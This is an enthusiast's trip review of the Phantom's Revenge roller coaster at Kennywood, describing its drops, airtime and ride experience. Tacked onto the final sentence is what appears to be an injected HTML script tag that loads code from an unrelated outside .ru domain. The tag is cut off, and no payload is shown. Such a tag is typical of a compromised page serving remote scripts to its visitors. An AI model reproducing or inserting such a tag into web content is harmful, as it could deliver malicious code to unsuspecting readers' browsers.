The highlight of a coaster for me is its first drop. Nothing can compare to that rush you get as the train slowly is detached from the lift, leaving you to the mercy of gravity. So of course, one of the things that had me wanting to visit Kennywood so desperately was the fact that the Phantoms Revenge had two major hills (that, and all the historical ride). Looking at the ride in pictures, I couldnt see where you would get all this airtime that everyone had raved about. There only seemed to be (besides the second drop) three or so places that would offer some airtime.
Entering Kennywood, Phantom dominates the skyline. It really is a magnificent sight entering the parking lot, because besides the Sky Coaster and Pitt Fall, there is nothing else higher than it. It just seems to rise above the trees, and the rest of the track (excluding the second hill) was below the tree line. Walking into the queue, I didnt want to get my hopes up and experience a case of anticapointment. However, I couldnt help but be as estatic as I was just by the sight of it. You couldnt get a good prospective on how far you would dive down the side of the cliff, so that made it all the more exciting. Not knowing whether this would be my only ride, I took a back seat.
The seats are comfortable, but after being spoiled by those of Apollos Chariot, they just cant compare. Still, the lap bar gives you plenty of room. It almost seems like its not even there. The brakes holding the train are released as the station kept on filling up with people and we slowly climbed the lift into the sky. Like other Arrow coasters, the lift was loud and fairly slow. However, this only gives you time to look down on Lost Kennywood, as well as the surrounding area.
After cresting the top, the train immediately twists down the terrifying first drop before leveling out on a straightaway which gives you a good feel as to how fast your going (60 MPH). Climbing the next hill, you even get a touch of airtime towards the back. This was the part I had been anticipating. Having already been going at around 20 MPH, the train dives down the 230 foot plunge. While the drop wasnt as steep as the other coasters Im used to regularly riding (Storm Runner, for instance), it still was spectacular. You float the whole way down, before diving underneath Thunderbolt (producing a great armchopper) and diving to the left and up in a curve with produces a large amount of Gs. Before you know it, youre diving right back through the same structure.
The track levels out a little as it climbs back up which produces a quick dose of airtime which catches you off guard. After the high speed curve, the ride goes completely insane. I didnt think there could be so much airtime within such a short amount of track! Every downhill part gives ejector air, the first of which being on a double down, before diving under the brake run and going upwards before entering another double down. When you go through the second double down, you can see everyones heads bopping up and down due to the extreme airtime and extreme positive Gs. Then, the train skims the surface of the ground before entering a double up, again producing an insane amount of airtime.
To put it short and sweet, this ride is out of control! Its absolutely insane, with the airtime being more forceful and abundundant that I expected it to be. The terrain only adds to it, and with two major drops, how can you go wrong? I can say there is only one other roller coaster better, and that is Apollos Chariot. The airtime is insane, and with the lapbars you literally feel as if you could be thrown from the track at any time. Who wouldve thought a 3,200 foot track could have such a punch?<script src=http://www.ncbw.ru/
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